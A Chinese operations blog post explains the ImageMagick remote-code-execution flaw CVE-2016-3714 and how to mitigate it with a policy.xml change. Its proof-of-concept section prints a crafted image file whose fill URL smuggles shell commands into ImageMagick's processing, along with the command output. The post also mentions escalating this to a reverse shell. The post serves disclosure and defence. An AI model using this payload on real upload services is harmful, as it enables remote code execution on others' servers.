良玉的博客 点点滴滴,积水成河_良玉的博客_页游、手游linux运维工程师之路

ImageMagick被爆高危漏洞(CVE-2016-3714),测试及解决方案

 1、前言

ImageMagick是一套功能强大、稳定而且开源工具集和开发包,可以用来读、写和处理超过89种基本格式的图片文件,包括流行的TIFF、JPEG、GIF、PNG、PDF以及PhotoCD等格式。众多的网站平台都是用他渲染处理图片。可惜在3号时被公开了一些列漏洞,其中一个漏洞可导致远程执行代码(RCE),如果你处理用户提交的图片。该漏洞是针对在野外使用此漏洞。许多图像处理插件依赖于ImageMagick库,包括但不限于PHP的imagick,Ruby的rmagick和paperclip,以及NodeJS的ImageMagick等。

产生原因是因为字符过滤不严谨所导致的执行代码.对于文件名传递给后端的命令过滤不足,导致允许多种文件格式转换过程中远程执行代码。



2、影响版本范围

ImageMagick 6.5.7-8 2012-08-17(手工测试风险存在)

ImageMagick 6.7.7-10 2014-03-06(手工测试风险存在)

低版本至6.9.3-9released 2016-04-30

# convert --version
Version: ImageMagick 6.7.7-10 2014-03-06 Q16 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2012 ImageMagick Studio LLC
Features: OpenMP


3、攻击POC演示

先构建一个精心准备的图片:

# cat 1.jpg 
push graphic-context
viewbox 0 0 640 480
fill 'url(
https://"|id|ls -la")'
pop graphic-context
# convert 1.jpg a.png
total 248
drwxr-xr-x   2 root root   4096  5月  6 09:26 .
drwxr-xr-x 158 root root  12288  5月  4 10:38 ..
-rw-r--r--   1 root root     97  5月  6 09:26 1.jpg
-rw-r--r--   1 root root    421  5月  6 09:25 a.png
-rw-r--r--   1 root root    842  3月  7  2014 coder.xml
-rw-r--r--   1 root root   1383  3月  7  2014 colors.xml
-rw-r--r--   1 root root  11461  3月  7  2014 delegates.xml
-rw-r--r--   1 root root    956  3月  7  2014 log.xml
-rw-r--r--   1 root root    888  3月  7  2014 magic.xml
-rw-r--r--   1 root root 134036  3月  7  2014 mime.xml
-rw-r--r--   1 root root   2277  5月  6 09:19 policy.xml
-rw-r--r--   1 root root   1500  3月  7  2014 quantization-table.xml
-rw-r--r--   1 root root  11302  3月  7  2014 thresholds.xml
-rw-r--r--   1 root root   8554  3月  7  2014 type-dejavu.xml
-rw-r--r--   1 root root   9727  3月  7  2014 type-ghostscript.xml
-rw-r--r--   1 root root  13655  3月  7  2014 type-windows.xml
-rw-r--r--   1 root root    671  3月  7  2014 type.xml
convert.im6: unrecognized color `
https://"|id|ls -la"' @ warning/color.c/GetColorCompliance/947.
convert.im6: unable to open image `/tmp/magick-toZ9Q7cb': No such file or directory @ error/blob.c/OpenBlob/2638.
convert.im6: unable to open file `/tmp/magick-toZ9Q7cb': No such file or directory @ error/constitute.c/ReadImage/583.
convert.im6: non-conforming drawing primitive definition `fill' @ error/draw.c/DrawImage/3158.

那么再制作一个远程下载反弹shell脚本,并且执行shell命令,那就危险了


4、修复方案

目前官方的最新修复补丁版本还未能出来,所以暂时建议做以下两种预防策略:

1.   在上传图片时需要通过文件内容来判断用户上传的是否为真实图片类型.

2.使用策略配置文件来禁用ImageMagick的有风险的编码器

对于ImageMagick全局策略配置文件在/etc/ImageMagick下对policy.xml最后一行进行增加下列配置:

#vim /etc/ImageMagick/policy.xml
<policymap>
  <!-- <policy domain="system" name="precision" value="6"/> -->
  <!-- <policy domain="resource" name="temporary-path" value="/tmp"/> -->
  <!-- <policy domain="resource" name="memory" value="2GiB"/> -->
  <!-- <policy domain="resource" name="map" value="4GiB"/> -->
  <!-- <policy domain="resource" name="area" value="1GB"/> -->
  <!-- <policy domain="resource" name="disk" value="16EB"/> -->
  <!-- <policy domain="resource" name="file" value="768"/> -->
  <!-- <policy domain="resource" name="thread" value="4"/> -->
  <!-- <policy domain="resource" name="throttle" value="0"/> -->
  <!-- <policy domain="resource" name="time" value="3600"/> -->
    <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
</policymap>



留言列表
发表评论
来宾的头像